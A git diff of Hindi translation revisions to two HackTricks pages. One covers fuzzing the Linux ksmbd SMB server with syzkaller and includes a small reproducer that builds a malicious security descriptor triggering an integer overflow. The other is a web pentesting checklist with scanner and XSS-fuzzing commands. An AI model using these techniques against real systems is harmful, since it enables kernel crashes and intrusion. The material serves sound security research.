यह पृष्ठ syzkaller का उपयोग करके Linux in-kernel SMB server (ksmbd) को एक्सरसाइज़ और फज़ करने के व्यावहारिक तरीके संक्षेप में बताता है। यह configuration के माध्यम से प्रोटोकॉल attack surface को बढ़ाने, SMB2 ऑपरेशनों को chain करने में सक्षम stateful harness बनाने, grammar-valid PDUs जनरेट करने, कमजोर-कवर्ड किए गए कोड पाथ्स पर mutations को bias करने, और syzkaller की सुविधाओं जैसे focus_areas और ANYBLOB का लाभ उठाने पर केंद्रित है। जबकि मूल रिसर्च विशिष्ट CVEs को सूचीबद्ध करती है, यहाँ हम पुन:उपयोग योग्य methodology और ऐसे concrete स्निपेट्स पर जोर देते हैं जिन्हें आप अपने सेटअप में अनुकूलित कर सकते हैं।
|
||||
|
||||
लक्षित दायरा: SMB2/SMB3 over TCP. Kerberos और RDMA जानबूझकर दायरे से बाहर रखे गए हैं ताकि harness सरल रहे।
|
||||
Target scope: SMB2/SMB3 over TCP. Kerberos और RDMA जानबूझकर आउट-ऑफ-स्कोप हैं ताकि harness सरल रहे।
|
||||
|
||||
---
|
||||
|
||||
## Configuration के माध्यम से ksmbd आक्रमण सतह बढ़ाएँ
|
||||
डिफ़ॉल्ट रूप से, एक न्यूनतम ksmbd सेटअप सर्वर के बड़े हिस्सों को अटेस्टेड छोड़ देता है। अतिरिक्त parsers/handlers के माध्यम से सर्वर को चलाने और गहरे कोड पाथ्स तक पहुँचने के लिए निम्नलिखित सुविधाएँ सक्षम करें:
|
||||
## Expand ksmbd Attack Surface via Configuration
|
||||
डिफ़ॉल्ट, minimal ksmbd सेटअप सर्वर के बड़े हिस्सों को untested छोड़ देता है। सर्वर को अतिरिक्त parsers/handlers के माध्यम से ड्राइव करने और गहरे कोड पाथ्स तक पहुँचने के लिए निम्नलिखित सुविधाएँ सक्षम करें:
|
||||
|
||||
- Global-level
|
||||
- Durable handles
|
||||
@ -20,7 +20,7 @@
|
||||
- Oplocks (on by default)
|
||||
- VFS objects
|
||||
|
||||
इनको सक्षम करने से निम्नलिखित मॉड्यूल्स में निष्पादन बढ़ता है:
|
||||
इनको सक्षम करने से निम्न मॉड्यूलों में execution बढ़ती है:
|
||||
- smb2pdu.c (command parsing/dispatch)
|
||||
- ndr.c (NDR encode/decode)
|
||||
- oplock.c (oplock request/break)
|
||||
@ -28,28 +28,28 @@
|
||||
- vfs.c (VFS ops)
|
||||
- vfs_cache.c (lookup cache)
|
||||
|
||||
नोट्स
|
||||
- सटीक विकल्प आपके distro’s ksmbd userspace (ksmbd-tools) पर निर्भर करते हैं। /etc/ksmbd/ksmbd.conf और per-share sections की समीक्षा करें ताकि durable handles, leases, oplocks और VFS objects सक्षम किए जा सकें।
|
||||
- Multi-channel और durable handles state machines और lifetimes को बदलते हैं, और concurrency के दौरान अक्सर UAF/refcount/OOB बग्स को उजागर करते हैं।
|
||||
Notes
|
||||
- सटीक विकल्प आपके distro के ksmbd userspace (ksmbd-tools) पर निर्भर करते हैं। /etc/ksmbd/ksmbd.conf और per-share sections की समीक्षा करें ताकि durable handles, leases, oplocks और VFS objects सक्षम किए जा सकें।
|
||||
- Multi-channel और durable handles state machines और lifetimes को बदलते हैं, जो concurrency में अक्सर UAF/refcount/OOB बग्स को surface करते हैं।
|
||||
|
||||
---
|
||||
|
||||
## Fuzzing के लिए Authentication और Rate-Limiting समायोजन
|
||||
SMB3 को एक valid session चाहिए। harnesses में Kerberos लागू करने से जटिलता बढ़ती है, इसलिए fuzzing के लिए NTLM/guest पसंद करें:
|
||||
## Authentication and Rate-Limiting Adjustments for Fuzzing
|
||||
SMB3 को एक valid session चाहिए। harnesses में Kerberos लागू करना जटिलता बढ़ाता है, इसलिए fuzzing के लिए NTLM/guest को प्राथमिकता दें:
|
||||
|
||||
- Allow guest access और map to guest = bad user सेट करें ताकि unknown users GUEST पर fallback कर जाएँ।
|
||||
- NTLMv2 को स्वीकार करें (अगर disabled हो तो policy patch करें)। इससे handshake सरल रहता है जबकि SMB3 code paths का परीक्षण होता है।
|
||||
- experimentation के दौरान strict credit checks को patch out करें (post-hardening के बाद CVE-2024-50285 ने simultaneous-op crediting को कड़ा किया)। अन्यथा, rate-limits fuzzed sequences को बहुत जल्दी reject कर सकते हैं।
|
||||
- max connections बढ़ाएँ (उदा., 65536) ताकि high-throughput fuzzing के दौरान प्रारंभिक rejections से बचा जा सके।
|
||||
- guest access की अनुमति दें और map to guest = bad user सेट करें ताकि unknown users GUEST पर fallback करें।
|
||||
- NTLMv2 स्वीकार करें (यदि disabled है तो policy patch करें)। यह handshake को सरल रखता है जबकि SMB3 कोड पाथ्स को एक्सरसाइज़ करता है।
|
||||
- experimentation करते समय strict credit checks को patch कर दें (CVE-2024-50285 के बाद simultaneous-op crediting ज्यादा सख्त हुआ)। अन्यथा, rate-limits fuzzed sequences को बहुत जल्दी reject कर सकते हैं।
|
||||
- high-throughput fuzzing के दौरान जल्दी rejections से बचने के लिए max connections बढ़ाएँ (उदा., 65536)।
|
||||
|
||||
सावधानी: ये ढील केवल fuzzing को सुविधाजनक बनाने के लिए हैं। इन सेटिंग्स के साथ production में deploy न करें।
|
||||
Caution: ये शिथिलताएँ केवल fuzzing की सुविधा के लिए हैं। production में इन settings के साथ तैनात न करें।
|
||||
|
||||
---
|
||||
|
||||
## Stateful Harness: Resources निकालना और Requests को Chain करना
|
||||
SMB stateful है: कई requests उन identifiers पर निर्भर करते हैं जो prior responses से लौटते हैं (SessionId, TreeID, FileID pairs)। आपका harness responses को parse करे और उसी प्रोग्राम के भीतर IDs को reuse करे ताकि गहरे handlers तक पहुँचा जा सके (उदा., smb2_create → smb2_ioctl → smb2_close)।
|
||||
## Stateful Harness: Extract Resources and Chain Requests
|
||||
SMB stateful है: कई requests prior responses द्वारा लौटाए गए identifiers पर निर्भर होते हैं (SessionId, TreeID, FileID pairs)। आपका harness responses को parse करके उन्हीं प्रोग्राम के भीतर IDs को reuse करना चाहिए ताकि गहरे handlers तक पहुँचा जा सके (उदा., smb2_create → smb2_ioctl → smb2_close)।
|
||||
|
||||
एक उदाहरण snippet जो response buffer को process करता है (+4B NetBIOS PDU length छोड़ते हुए) और IDs को cache करता है:
|
||||
Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
|
||||
```c
|
||||
// process response. does not contain +4B PDU length
|
||||
void process_buffer(int msg_no, const char *buffer, size_t received) {
|
||||
@ -76,15 +76,15 @@ break;
|
||||
}
|
||||
```
|
||||
टिप्स
|
||||
- एक ही fuzzer process रखें जो authentication/state साझा करे: ksmbd की global/session tables के साथ बेहतर स्थिरता और कवरेज मिलता है। syzkaller फिर भी ops को async के रूप में मार्क करके concurrency इंजेक्ट करता है, और internally rerun करता है।
|
||||
- Syzkaller के experimental reset_acc_state global state को reset कर सकता है लेकिन यह भारी slowdown ला सकता है। स्थिरता को प्राथमिकता दें और fuzzing पर ध्यान केंद्रित करें।
|
||||
- Keep one fuzzer process sharing authentication/state: better stability and coverage with ksmbd’s global/session tables. syzkaller still injects concurrency by marking ops async, rerun internally.
|
||||
- Syzkaller’s experimental reset_acc_state can reset global state but may introduce heavy slowdown. Prefer stability and focus fuzzing instead.
|
||||
|
||||
---
|
||||
|
||||
## व्याकरण-चालित SMB2 Generation (Valid PDUs)
|
||||
Microsoft Open Specifications में दिए गए SMB2 संरचनाओं को एक fuzzer grammar में अनुवादित करें ताकि आपका generator संरचनात्मक रूप से valid PDUs बनाए, जो व्यवस्थित ढंग से dispatchers और IOCTL handlers तक पहुँचें।
|
||||
## व्याकरण-आधारित SMB2 जनरेशन (Valid PDUs)
|
||||
Microsoft Open Specifications SMB2 structures को एक fuzzer grammar में अनुवादित करें ताकि आपका generator संरचनात्मक रूप से valid PDUs उत्पन्न करे, जो व्यवस्थित रूप से dispatchers और IOCTL handlers तक पहुँचें।
|
||||
|
||||
Example (SMB2 IOCTL request):
|
||||
उदाहरण (SMB2 IOCTL request):
|
||||
```
|
||||
smb2_ioctl_req {
|
||||
Header_Prefix SMB2Header_Prefix
|
||||
@ -107,12 +107,12 @@ Input array[int8]
|
||||
Output array[int8]
|
||||
} [packed]
|
||||
```
|
||||
यह तरीका सही structure sizes/offsets को लागू करने के लिए मजबूर करता है और blind mutation की तुलना में कवरेज को नाटकीय रूप से सुधारता है।
|
||||
यह शैली correct structure sizes/offsets को मजबूर करती है और blind mutation की तुलना में coverage को नाटकीय रूप से बेहतर बनाती है।
|
||||
|
||||
---
|
||||
|
||||
## Directed Fuzzing With focus_areas
|
||||
वर्तमान में जिन विशिष्ट functions/files का कवरेज कमजोर है, उन्हें अधिक वज़न देने के लिए syzkaller’s के experimental focus_areas का उपयोग करें। उदाहरण JSON:
|
||||
## Directed Fuzzing के साथ focus_areas
|
||||
syzkaller के experimental focus_areas का उपयोग उन specific functions/files को overweight करने के लिए करें जिनकी वर्तमान में कमजोर coverage है। उदाहरण JSON:
|
||||
```json
|
||||
{
|
||||
"focus_areas": [
|
||||
@ -122,8 +122,7 @@ Output array[int8]
|
||||
]
|
||||
}
|
||||
```
|
||||
यह वैध ACLs बनाने में मदद करता है जो smbacl.c में arithmetic/overflow paths को ट्रिगर करते हैं।
|
||||
उदाहरण के लिए, एक दुर्भावनापूर्ण Security Descriptor जिसमें अत्यधिक बड़ा dacloffset है, वह एक integer-overflow को पुनरुत्पन्न कर देता है।
|
||||
यह valid ACLs बनाने में मदद करता है जो smbacl.c में arithmetic/overflow paths को ट्रिगर करते हैं। उदाहरण के लिए, एक malicious Security Descriptor जिसमें oversized dacloffset हो, वह integer-overflow को reproduce करता है।
|
||||
|
||||
रिप्रोड्यूसर बिल्डर (minimal Python):
|
||||
```python
|
||||
@ -144,8 +143,8 @@ return bytes(sd)
|
||||
```
|
||||
---
|
||||
|
||||
## ANYBLOB के साथ कवरेज प्लेटो तोड़ना
|
||||
syzkaller’s anyTypes (ANYBLOB/ANYRES) जटिल संरचनाओं को ऐसे ब्लॉब्स में संकुचित करने की अनुमति देते हैं, जो सामान्यतः परिवर्तित होते हैं। public SMB pcaps से नया corpus तैयार करें और payloads को syzkaller programs में बदलें जो आपके pseudo-syscall (उदा., syz_ksmbd_send_req) को कॉल करते हों:
|
||||
## ANYBLOB के साथ कवरेज की सीमाएँ तोड़ना
|
||||
syzkaller’s anyTypes (ANYBLOB/ANYRES) जटिल संरचनाओं को blobs में समेटने की अनुमति देते हैं जो जेनरिक रूप से बदलती हैं। सार्वजनिक SMB pcaps से एक नया corpus तैयार करें और payloads को syzkaller programs में बदलें जो आपके pseudo-syscall (e.g., syz_ksmbd_send_req) को कॉल करते हैं:
|
||||
```bash
|
||||
# Extract SMB payloads to JSON
|
||||
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
|
||||
@ -168,14 +167,14 @@ f.write(
|
||||
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
|
||||
)
|
||||
```
|
||||
यह अन्वेषण को तुरंत शुरू करता है और (उदाहरण के लिए ksmbd_sessions_deregister में) तुरंत UAFs को ट्रिगर कर सकता है, साथ ही कवरेज को कुछ प्रतिशत बढ़ा देता है।
|
||||
यह खोज को तुरंत आरंभ कर देता है और कुछ प्रतिशत कवरिज बढ़ाते हुए तुरंत UAFs (उदा., ksmbd_sessions_deregister में) को ट्रिगर कर सकता है।
|
||||
|
||||
---
|
||||
|
||||
## Sanitizers: KASAN के परे
|
||||
- KASAN heap बग्स (UAF/OOB) के लिए प्राथमिक डिटेक्टर बना रहता है।
|
||||
- KCSAN अक्सर इस टार्गेट में false positives या कम-गंभीरता वाले data races देता है।
|
||||
- UBSAN/KUBSAN declared-bounds गलतियों को पकड़ सकता है जिन्हें KASAN array-index semantics के कारण मिस कर देता है। उदाहरण:
|
||||
## Sanitizers: KASAN से आगे
|
||||
- KASAN heap bugs (UAF/OOB) के लिए प्राथमिक डिटेक्टर बना रहता है।
|
||||
- KCSAN अक्सर इस target में false positives या low-severity data races देता है।
|
||||
- UBSAN/KUBSAN उन declared-bounds गलतियों को पकड़ सकता है जिन्हें array-index semantics के कारण KASAN छोड़ देता है। उदाहरण:
|
||||
```c
|
||||
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
|
||||
struct smb_sid {
|
||||
@ -183,28 +182,28 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
|
||||
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
|
||||
} __attribute__((packed));
|
||||
```
|
||||
Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks.
|
||||
Setting num_subauth = 0 सेट करने से struct के अंदर sub_auth[-1] का OOB read ट्रिगर होता है, जिसे UBSAN’s declared-bounds checks ने पकड़ा।
|
||||
|
||||
---
|
||||
|
||||
## Throughput and Parallelism Notes
|
||||
- एक अकेला fuzzer process (shared auth/state) आमतौर पर ksmbd के लिए काफी अधिक स्थिर होता है और फिर भी races/UAFs को उजागर करता है, धन्यवाद syzkaller’s internal async executor।
|
||||
- कई VMs के साथ, आप कुल मिलाकर अभी भी सैकड़ों SMB commands/second मार सकते हैं। Function-level coverage लगभग ~60% fs/smb/server और ~70% smb2pdu.c तक प्राप्त किया जा सकता है, हालांकि state-transition coverage ऐसे मेट्रिक्स से कम दिखती है।
|
||||
## थ्रूपुट और समानांतरता नोट्स
|
||||
- एक single fuzzer process (shared auth/state) आम तौर पर ksmbd के लिए काफी अधिक स्थिर होता है और syzkaller के internal async executor की वजह से फिर भी races/UAFs उभरते हैं।
|
||||
- multiple VMs के साथ, कुल मिलाकर आप अभी भी सैकड़ों SMB commands/second मार सकते हैं। Function-level coverage लगभग ~60% of fs/smb/server और ~70% of smb2pdu.c तक पहुँचने योग्य है, हालांकि state-transition coverage ऐसे metrics द्वारा कम दिखती है।
|
||||
|
||||
---
|
||||
|
||||
## Practical Checklist
|
||||
## व्यावहारिक चेकलिस्ट
|
||||
- ksmbd में durable handles, leases, multi-channel, oplocks, और VFS objects सक्षम करें।
|
||||
- guest और map-to-guest की अनुमति दें; NTLMv2 स्वीकार करें। fuzzer स्थिरता के लिए credit limits को हटाएँ और max connections बढ़ाएँ।
|
||||
- एक stateful harness बनाइए जो SessionId/TreeID/FileIDs को cache करे और create → ioctl → close को chain करे।
|
||||
- स्ट्रक्चरल वैधता बनाए रखने के लिए SMB2 PDUs के लिए grammar का उपयोग करें।
|
||||
- कम आवृत्ति से कवर होने वाले फ़ंक्शन्स पर वजन देने के लिए focus_areas का उपयोग करें (उदा., smbacl.c paths जैसे smb_check_perm_dacl)।
|
||||
- plateaus तोड़ने के लिए असली pcaps से ANYBLOB से seed करें; reuse के लिए seeds को syz-db के साथ pack करें।
|
||||
- KASAN + UBSAN के साथ चलाएँ; UBSAN declared-bounds रिपोर्ट्स को सावधानी से triage करें।
|
||||
- guest और map-to-guest की अनुमति दें; NTLMv2 स्वीकार करें। fuzzer स्थिरता के लिए credit limits हटाएँ और max connections बढ़ाएँ।
|
||||
- एक stateful harness बनाएं जो SessionId/TreeID/FileIDs को cache करे और create → ioctl → close को chain करे।
|
||||
- structural validity बनाए रखने के लिए SMB2 PDUs के लिए एक grammar का उपयोग करें।
|
||||
- कमजोर कवरेज वाले functions पर अधिक वजन देने के लिए focus_areas का उपयोग करें (e.g., smbacl.c paths like smb_check_perm_dacl)।
|
||||
- plateaus तोड़ने के लिए real pcaps से ANYBLOB के साथ seed करें; reuse के लिए seeds को syz-db से pack करें।
|
||||
- KASAN + UBSAN के साथ चलाएँ; UBSAN declared-bounds reports को सावधानी से triage करें।
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
- Doyensec – ksmbd Fuzzing (Part 2): https://blog.doyensec.com/2025/09/02/ksmbd-2.html
|
||||
- syzkaller: https://github.com/google/syzkaller
|
||||
- ANYBLOB/anyTypes (commit 9fe8aa4): https://github.com/google/syzkaller/commit/9fe8aa4
|
||||
@ -215,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
|
||||
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
|
||||
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
|
||||
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
|
||||
- पृष्ठभूमि पढ़ना: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
|
||||
- बैकग्राउंड रीडिंग: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# 80,443 - Pentesting वेब कार्यप्रणाली
|
||||
# 80,443 - Pentesting Web Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## बुनियादी जानकारी
|
||||
|
||||
वेब सर्विस सबसे **आम और व्यापक सेवा** है और बहुत सारे **different types of vulnerabilities** मौजूद हैं।
|
||||
वेब सेवा सबसे **सामान्य और व्यापक सेवा** है और कई तरह की **vulnerabilities** मौजूद हैं।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||
web-api-pentesting.md
|
||||
{{#endref}}
|
||||
|
||||
## कार्यप्रणाली सारांश
|
||||
## पद्धति सारांश
|
||||
|
||||
> इस कार्यप्रणाली में हम यह मानेंगे कि आप किसी एक domain (या subdomain) पर ही हमला करने जा रहे हैं और सिर्फ़ वही। इसलिए, आपको इस कार्यप्रणाली को स्कोप में पाए गए प्रत्येक domain, subdomain या अनिर्धारित वेब सर्वर वाले IP पर लागू करना चाहिए।
|
||||
> इस पद्धति में हम यह मानकर चलेंगे कि आप केवल एक domain (या subdomain) पर ही attack कर रहे हैं। इसलिए, आपको यह पद्धति प्रत्येक खोजे गए domain, subdomain या उस scope के भीतर किसी undetermined web server वाले IP पर लागू करनी चाहिए।
|
||||
|
||||
- [ ] शुरुआत करें: वेब सर्वर द्वारा उपयोग की जा रही **तकनीकें** की **पहचान** करें। यदि आप टेक की पहचान कर पाते हैं तो टेस्ट के बाकी हिस्सों में ध्यान में रखने के लिए कोई उपयोगी **tricks** देखें।
|
||||
- [ ] क्या उस तकनीक के संस्करण के लिए कोई **known vulnerability** मौजूद है?
|
||||
- [ ] क्या कोई **well known tech** उपयोग में है? अधिक जानकारी निकालने के लिए कोई **useful trick** है?
|
||||
- [ ] क्या चलाने के लिए कोई **specialised scanner** है (जैसे wpscan)?
|
||||
- [ ] **general purposes scanners** लॉन्च करें। पता नहीं वे कुछ पाएँगे या कोई रोचक जानकारी मिलेगी।
|
||||
- [ ] **initial checks** से शुरू करें: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (यदि **HTTPS**)।
|
||||
- [ ] वेब पेज पर **spidering** शुरू करें: अब सभी संभावित **files, folders** और उपयोग हो रहे **parameters** को **find** करने का समय है। साथ ही **special findings** की जांच करें।
|
||||
- [ ] _नोट: जब भी brute-forcing या spidering के दौरान कोई नया directory मिलता है, उसे spider किया जाना चाहिए._
|
||||
- [ ] **Directory Brute-Forcing**: खोजे गए सभी folders को brute force करके नए **files** और **directories** खोजने का प्रयास करें।
|
||||
- [ ] _नोट: जब भी brute-forcing या spidering के दौरान कोई नया directory मिलता है, उसे Brute-Forced किया जाना चाहिए._
|
||||
- [ ] **Backups checking**: देखें कि क्या आप खोजे गए **files** के **backups** सामान्य backup extensions जोड़कर पा सकते हैं।
|
||||
- [ ] **Brute-Force parameters**: छिपे हुए **parameters** खोजने की कोशिश करें।
|
||||
- [ ] जब आपने सभी संभावित **endpoints** जो **user input** स्वीकार करते हैं **पहचान** लिए हों, तो उनसे संबंधित सभी प्रकार की **vulnerabilities** की जांच करें।
|
||||
- [ ] शुरुआत करें और **identify** करें कि web server कौन-कौन सी **technologies** उपयोग कर रहा है। यदि आप tech की पहचान कर पाते हैं तो टेस्ट के बाकी हिस्सों के दौरान ध्यान में रखने के लिए कोई **tricks** देखें।
|
||||
- [ ] क्या उस technology के version की कोई known vulnerability है?
|
||||
- [ ] कोई well known tech उपयोग हो रहा है? अधिक जानकारी निकालने के लिए कोई उपयोगी trick है?
|
||||
- [ ] कोई specialised scanner चलाने लायक है (जैसे wpscan)?
|
||||
- [ ] general purposes scanners चलाएँ। आप नहीं जानते वे कुछ पाएंगे या कोई interesting information निकालेंगे।
|
||||
- [ ] शुरू करें **प्रारंभिक जांच**: **robots**, **sitemap**, **404** error और **SSL/TLS scan** (यदि **HTTPS**)।
|
||||
- [ ] Start **spidering** the web page: यह समय है सभी संभावित **files**, **folders** और **parameters** को खोजने का। साथ ही, special findings की जांच करें।
|
||||
- [ ] _नोट कि जब भी कोई नया directory brute-forcing या spidering के दौरान खोजा जाए, उसे spider करना चाहिए._
|
||||
- [ ] **Directory Brute-Forcing**: पाए गए सभी folders पर brute force करें ताकि नए **files** और **directories** मिल सकें।
|
||||
- [ ] _नोट कि जब भी कोई नया directory brute-forcing या spidering के दौरान खोजा जाए, उसे Brute-Forced किया जाना चाहिए._
|
||||
- [ ] **Backups checking**: जांचें कि क्या आप खोजे गए files के backups सामान्य backup extensions जोड़कर पा सकते हैं।
|
||||
- [ ] **Brute-Force parameters**: छुपे हुए parameters खोजने की कोशिश करें।
|
||||
- [ ] जब आपने उन सभी संभावित endpoints की पहचान कर ली हो जो user input स्वीकार करते हैं, तो उनसे संबंधित सभी प्रकार की vulnerabilities की जाँच करें।
|
||||
- [ ] [इस चेकलिस्ट का पालन करें](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## सर्वर संस्करण (Vulnerable?)
|
||||
## Server Version (Vulnerable?)
|
||||
|
||||
### पहचान
|
||||
### पहचानें
|
||||
|
||||
चेक करें कि चल रहे सर्वर के उस **version** के लिए कोई **known vulnerabilities** मौजूद हैं या नहीं।\
|
||||
रिस्पॉन्स के **HTTP headers** और **cookies** उस उपयोग की जा रही **technologies** और/या **version** की **identify** करने में बहुत उपयोगी हो सकते हैं। **Nmap scan** सर्वर वर्जन पहचान सकता है, लेकिन ये tools भी उपयोगी हो सकते हैं: [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
जाँचें कि क्या चल रहे server version के लिए कोई known vulnerabilities हैं।\
|
||||
HTTP headers और response के cookies तकनीकें और/या उपयोग हो रहा version पहचानने में बहुत उपयोगी हो सकते हैं। Nmap scan server version पहचान सकता है, पर यह tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) या [**https://builtwith.com/**](https://builtwith.com)**:**
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
खोजें [**वेब एप्लिकेशन के संस्करण की कमजोरियाँ**](../../generic-hacking/search-exploits.md)
|
||||
खोजें [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
|
||||
|
||||
### **कोई WAF है या नहीं जांचें**
|
||||
### **जाँचें कि WAF मौजूद है या नहीं**
|
||||
|
||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
|
||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
|
||||
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
|
||||
|
||||
### वेब टेक ट्रिक्स
|
||||
### Web tech tricks
|
||||
|
||||
किसी भी उपयोग की जा रही विभिन्न प्रसिद्ध तकनीकों में कमजोरियों को खोजने के लिए कुछ ट्रिक्स:
|
||||
कुछ **tricks** उन विभिन्न प्रसिद्ध **technologies** में **vulnerabilities** खोजने के लिए जो उपयोग में हैं:
|
||||
|
||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||
- [**Apache**](apache.md)
|
||||
@ -102,28 +102,27 @@ webanalyze -host https://google.com -crawl 2
|
||||
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||
- [**Sitecore**](sitecore/index.html)
|
||||
|
||||
_ध्यान रखें कि एक ही **domain** विभिन्न **technologies** को अलग-अलग **ports**, **folders** और **subdomains** में उपयोग कर सकता है._\
|
||||
यदि वेब एप्लिकेशन किसी भी प्रसिद्ध पहले सूचीबद्ध **tech/platform** या **किसी अन्य** का उपयोग कर रहा है, तो नए ट्रिक्स के लिए इंटरनेट पर खोज करना न भूलें (और मुझे बताएं!).
|
||||
_ध्यान में रखें कि वही **same domain** विभिन्न **ports**, **folders** और **subdomains** में विभिन्न **technologies** का उपयोग कर सकता है._\
|
||||
यदि वेब एप्लिकेशन किसी भी प्रसिद्ध **tech/platform listed before** या किसी अन्य का उपयोग कर रहा है, तो नई tricks के लिए इंटरनेट पर खोज करना न भूलें (और मुझे बताइए!).
|
||||
|
||||
### स्रोत कोड समीक्षा
|
||||
|
||||
यदि आवेदन का **source code** **github** पर उपलब्ध है, तो आवेदन पर अपने द्वारा एक **White box test** करने के अलावा कुछ जानकारी मौजूद हो सकती है जो वर्तमान **Black-Box testing** के लिए उपयोगी हो सकती है:
|
||||
|
||||
- क्या कोई **Change-log** या **Readme** या **Version** फाइल या कोई भी ऐसी चीज़ है जिसमें version info वेब के माध्यम से उपलब्ध है?
|
||||
- credentials किस तरह और कहाँ saved हैं? क्या कोई (accessible?) **file** credentials (usernames या passwords) के साथ मौजूद है?
|
||||
- क्या **passwords** **plain text** में हैं, **encrypted** हैं या किस **hashing algorithm** का उपयोग किया गया है?
|
||||
- क्या यह किसी भी चीज़ को encrypt करने के लिए किसी **master key** का उपयोग कर रहा है? कौन सा **algorithm** उपयोग किया गया है?
|
||||
- क्या आप किसी vulnerability का exploit करके इन में से किसी **file** तक पहुँच सकते हैं?
|
||||
- क्या **github** में कोई रोचक जानकारी है (solved और not solved) **issues** में? या **commit history** में (शायद कोई **password** पुराने commit में जोड़ा गया हो)?
|
||||
यदि एप्लिकेशन का **source code** **github** पर उपलब्ध है, तो आपके द्वारा एप्लिकेशन पर एक **White box test** करने के अलावा कुछ ऐसी **information** हो सकती है जो वर्तमान **Black-Box testing** के लिए **useful** हो:
|
||||
|
||||
- क्या कोई **Change-log or Readme or Version** file या कोई ऐसी चीज़ है जिसमें **version info accessible** वेब के जरिए उपलब्ध हो?
|
||||
- credentials कैसे और कहाँ सेव होते हैं? क्या कोई (accessible?) **file** है जिसमें credentials (usernames या passwords) हैं?
|
||||
- क्या passwords plain text में हैं, encrypted हैं या किस **hashing algorithm** का उपयोग हुआ है?
|
||||
- क्या यह किसी **master key** का उपयोग कर रहा है किसी चीज़ को encrypt करने के लिए? कौन सा **algorithm** उपयोग किया जा रहा है?
|
||||
- क्या आप किसी vulnerability को exploit करके इन फ़ाइलों में से किसी तक पहुँच सकते हैं?
|
||||
- क्या **github** में (solved और not solved) **issues** में कोई दिलचस्प information है? या **commit history** में (शायद किसी पुराने commit में कोई password introduce हुआ हो)?
|
||||
|
||||
{{#ref}}
|
||||
code-review-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### स्वचालित स्कैनर्स
|
||||
### Automatic scanners
|
||||
|
||||
#### सामान्य प्रयोजन के स्वचालित स्कैनर्स
|
||||
#### General purpose automatic scanners
|
||||
```bash
|
||||
nikto -h <URL>
|
||||
whatweb -a 4 <URL>
|
||||
@ -135,12 +134,12 @@ nuclei -ut && nuclei -target <URL>
|
||||
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
|
||||
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
|
||||
```
|
||||
#### CMS स्कैनर
|
||||
#### CMS scanners
|
||||
|
||||
यदि किसी CMS का उपयोग किया जा रहा है तो **स्कैनर चलाना** न भूलें — हो सकता है कुछ दिलचस्प मिल जाए:
|
||||
यदि CMS का उपयोग हो रहा है तो **run a scanner** करना न भूलें — शायद कुछ दिलचस्प मिल जाए:
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** वेबसाइटों की सुरक्षा समस्याओं के लिए। (GUI)\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** Security issues के लिए वेबसाइट्स। (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **या** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
